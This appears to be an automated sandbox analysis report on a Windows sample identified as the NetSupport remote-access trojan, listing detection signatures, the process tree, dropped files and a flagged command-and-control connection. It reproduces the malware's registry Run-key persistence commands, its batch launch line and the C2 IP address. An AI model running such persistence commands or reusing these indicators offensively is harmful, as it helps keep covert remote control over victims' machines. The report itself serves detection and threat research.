Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562378
MD5:	a3cea314d888a08b79002656a9f4b927
SHA1:	396b9f96219785f0c80c69703dc623c23554affc
SHA256:	64356e6b4781925ef940695d869a826dc229e911919faf8729d8dfb34f31e61a
Tags:	exeuser-Bitsight
Infos:

Detection

NetSupport RAT

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Contains functionalty to change the wallpaper

Delayed program exit found

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Program Location with Network Connections

Uses cmd line tools excessively to alter registry or file data

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64

file.exe (PID: 6336 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A3CEA314D888A08B79002656A9F4B927)

cmd.exe (PID: 824 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 2992 cmdline: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe" MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 3732 cmdline: REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe" MD5: 227F63E1D9008B36BDBCC4B397780BE4)

shv.exe (PID: 3492 cmdline: C:\Users\Public\Netstat\shv.exe MD5: 8D9709FF7D9C83BD376E01912C734F0A)

reg.exe (PID: 3704 cmdline: REG ADD "HKCU\SOFTWARE\Software\Supservice\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe" MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 6988 cmdline: REG ADD "HKCU\SOFTWARE\Software\Supservice\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe" MD5: 227F63E1D9008B36BDBCC4B397780BE4)

shv.exe (PID: 7008 cmdline: C:\Users\Public\Netstat\shv.exe MD5: 8D9709FF7D9C83BD376E01912C734F0A)

shv.exe (PID: 6340 cmdline: "C:\Users\Public\Netstat\shv.exe" MD5: 8D9709FF7D9C83BD376E01912C734F0A)

shv.exe (PID: 7008 cmdline: "C:\Users\Public\Netstat\shv.exe" MD5: 8D9709FF7D9C83BD376E01912C734F0A)

shv.exe (PID: 3244 cmdline: "C:\Users\Public\Netstat\shv.exe" MD5: 8D9709FF7D9C83BD376E01912C734F0A)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\Public\Netstat\shv.exe	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\pcicapi.dll	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\PCICHEK.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\TCCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\HTCTL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\Public\Netstat\PCICL32.DLL	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\Public\Netstat\PCICL32.DLL	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.1806388208.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000B.00000002.1886663530.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.4131581542.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000008.00000000.1691809237.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000E.00000002.1968165061.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000000.00000003.1675691550.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000B.00000000.1884540195.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000000.00000003.1675726387.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000009.00000002.1805359841.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000000.00000003.1674859649.000001AFA17C2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000000.1680595805.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000B.00000002.1886119575.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000008.00000002.1694138825.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000E.00000000.1965850134.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000008.00000002.1694438358.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000E.00000002.1968482175.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000009.00000000.1802595368.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: file.exe PID: 6336	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: file.exe PID: 6336	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: shv.exe PID: 3492	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: shv.exe PID: 3492	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: shv.exe PID: 7008	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: shv.exe PID: 7008	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: shv.exe PID: 6340	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: shv.exe PID: 6340	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: shv.exe PID: 7008	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: shv.exe PID: 7008	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: shv.exe PID: 3244	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: shv.exe PID: 3244	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 38 entries

Unpacked PEs

Source	Rule	Description	Author
5.2.shv.exe.f00000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.shv.exe.f00000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.0.shv.exe.f00000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.shv.exe.f00000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.shv.exe.73af0000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.0.shv.exe.f00000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.shv.exe.73af0000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.shv.exe.73af0000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.shv.exe.6e540000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.shv.exe.111b79e0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
5.2.shv.exe.111b79e0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.shv.exe.6e540000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.2.shv.exe.f00000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.2.shv.exe.6e540000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.0.shv.exe.f00000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.shv.exe.6e540000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.0.shv.exe.f00000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
0.3.file.exe.1afa5756820.0.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.3.file.exe.1afa5756820.0.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.shv.exe.73af0000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.shv.exe.111b79e0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
11.2.shv.exe.111b79e0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.2.shv.exe.73af0000.5.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.shv.exe.f00000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.shv.exe.6e540000.4.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.shv.exe.111b79e0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
9.2.shv.exe.111b79e0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.0.shv.exe.f00000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.shv.exe.111b79e0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.2.shv.exe.111b79e0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.2.shv.exe.111b79e0.2.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
14.2.shv.exe.111b79e0.2.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.shv.exe.6cd70000.3.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
11.2.shv.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
11.2.shv.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
9.2.shv.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
9.2.shv.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
8.2.shv.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
8.2.shv.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
14.2.shv.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
14.2.shv.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
5.2.shv.exe.11000000.1.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
5.2.shv.exe.11000000.1.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 38 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Netstat\shv.exe, CommandLine: C:\Users\Public\Netstat\shv.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\Netstat\shv.exe, NewProcessName: C:\Users\Public\Netstat\shv.exe, OriginalFileName: C:\Users\Public\Netstat\shv.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 824, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\Public\Netstat\shv.exe, ProcessId: 3492, ProcessName: shv.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Netstat\shv.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 2992, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Netstat

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 45.61.128.74, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Users\Public\Netstat\shv.exe, Initiated: true, ProcessId: 3492, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Netstat\shv.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 2992, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Netstat

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe", CommandLine: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe", CommandLine|base64offset|contains: DA, Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 824, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe", ProcessId: 2992, ProcessName: reg.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe", CommandLine: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe", CommandLine|base64offset|contains: DA, Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 824, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe", ProcessId: 2992, ProcessName: reg.exe

Suricata Signatures

ETPRO MALWARE NetSupport RAT CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T14:58:03.946249+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.4	49730	45.61.128.74	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Netstat\remcmdstub.exe	ReversingLabs: Detection: 13%
Source: C:\Users\Public\Netstat\shv.exe	ReversingLabs: Detection: 28%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 92.4% probability

Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_110AD570 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		5_2_110AD570
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_110AD570 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		8_2_110AD570

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\Public\Netstat\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: msvcr100.i386.pdb source: shv.exe, shv.exe, 00000005.00000002.4133157062.000000006CF61000.00000020.00000001.01000000.0000000C.sdmp, shv.exe, 00000008.00000002.1694833283.000000006CF61000.00000020.00000001.01000000.0000000C.sdmp, shv.exe, 00000009.00000002.1806765097.000000006CF61000.00000020.00000001.01000000.0000000C.sdmp, shv.exe, 0000000B.00000002.1887019832.000000006CF61000.00000020.00000001.01000000.0000000C.sdmp, shv.exe, 0000000E.00000002.1968818486.000000006CF61000.00000020.00000001.01000000.0000000C.sdmp, msvcr100.dll.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: shv.exe, 00000005.00000002.4133414083.0000000073AF2000.00000002.00000001.01000000.0000000B.sdmp, shv.exe, 00000008.00000002.1695153610.0000000073AF2000.00000002.00000001.01000000.0000000B.sdmp, shv.exe, 00000009.00000002.1807037873.0000000073AF2000.00000002.00000001.01000000.0000000B.sdmp, shv.exe, 0000000B.00000002.1887260588.0000000073AF2000.00000002.00000001.01000000.0000000B.sdmp, shv.exe, 0000000E.00000002.1969045817.0000000073AF2000.00000002.00000001.01000000.0000000B.sdmp, PCICHEK.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdbN source: PCICHEK.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: shv.exe, 00000005.00000002.4131581542.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 00000005.00000000.1680595805.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 00000008.00000000.1691809237.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 00000008.00000002.1694138825.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 00000009.00000002.1805359841.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 00000009.00000000.1802595368.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 0000000B.00000000.1884540195.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 0000000B.00000002.1886119575.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 0000000E.00000002.1968165061.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe, 0000000E.00000000.1965850134.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, shv.exe.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.0.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: file.exe
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: shv.exe, 00000005.00000002.4133318649.000000006E545000.00000002.00000001.01000000.0000000D.sdmp, shv.exe, 00000008.00000002.1695028330.000000006E545000.00000002.00000001.01000000.0000000D.sdmp, shv.exe, 00000009.00000002.1806911181.000000006E545000.00000002.00000001.01000000.0000000D.sdmp, shv.exe, 0000000B.00000002.1887171743.000000006E545000.00000002.00000001.01000000.0000000D.sdmp, shv.exe, 0000000E.00000002.1968966209.000000006E545000.00000002.00000001.01000000.0000000D.sdmp, pcicapi.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1940BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF6FE1940BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1AB190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF6FE1AB190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1BFCA0 FindFirstFileExA,	0_2_00007FF6FE1BFCA0
